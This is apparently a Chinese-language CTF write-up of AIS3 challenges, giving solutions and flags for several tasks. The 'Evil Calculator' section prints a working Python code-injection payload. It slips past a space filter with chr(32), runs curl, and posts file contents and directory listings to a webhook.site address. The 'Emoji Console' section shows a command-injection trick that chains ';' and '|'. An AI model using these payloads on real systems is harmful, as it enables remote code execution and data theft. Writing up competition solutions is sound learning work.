Evil Calculator

這題會先移除掉空格與底線,目標是製作一個不包含那兩個符號的Payload,將資料發送到自己的webhook。

我將空格改成 chr(32),底線在Payload中沒有使用到

 1# exec("import os; os.system(\'cat flag.txt\')")
 2#
 3# $(curl -XPOST https://webhook.site/b73912c2-79c8-4062-8d33-acf91d9d27cf -d "$(ls)") #
 4
 5
 6import requests
 7
 8txt = r'exec("import"+chr(32)+"os;"+chr(32)+"os.system(\'curl"+chr(32)+"-XPOST"+chr(32)+"https://webhook.site/da2c3866-c9fe-453c-b079-a7146b7b6347"+chr(32)+"-d"+chr(32)+"\"$(cat"+chr(32)+"../*)\"\')")'
 9# eval(txt)  # 測試結果是否成功
10print(' ' in txt)
11print(requests.post(r'http://chals1.ais3.org:5001/calculate', json={'expression': txt}).json())

比賽截圖 image

writeup截圖 image

Flag: AIS3{7RiANG13_5NAK3_I5_50_3Vi1}

The Long Print

Ida 修改流程即可拿到Flag。我將每次傳入sleep的arg (rdi)都更改為0,這樣就可以規避掉sleep函數的長等待。這雖然不是最好的解法,但當下只有想到這樣。

writeup截圖 image image image

Flag: AIS3{You_are_the_master_of_time_management!!!!?}

Quantum Nim Heist

亂亂按就發現大問題了,Enter, Enter, get flag

比賽截圖 image

writeup截圖 image image image

Flag: AIS3{Ar3_y0u_a_N1m_ma57er_0r_a_Crypt0_ma57er?}

Emoji Console

原本只想透過 ;$() 試著湊出來,但一直沒有成功。到最最最後才亂撞出 ; 搭配 | 可以湊出多指令執行

最後使用的語法 cd flag;p:|python flag-print*)

image image

Three Dimensional Secret

打開pcapng後,follow其中可疑的TCP,發現到以下內容。截取片段讓GPT分析,並得知為G-Code語法,丟到線上網站便可得到Flag

image image image

Welcome

這題看起來挺難的,一開時沒注意到落後了一大截QQ

image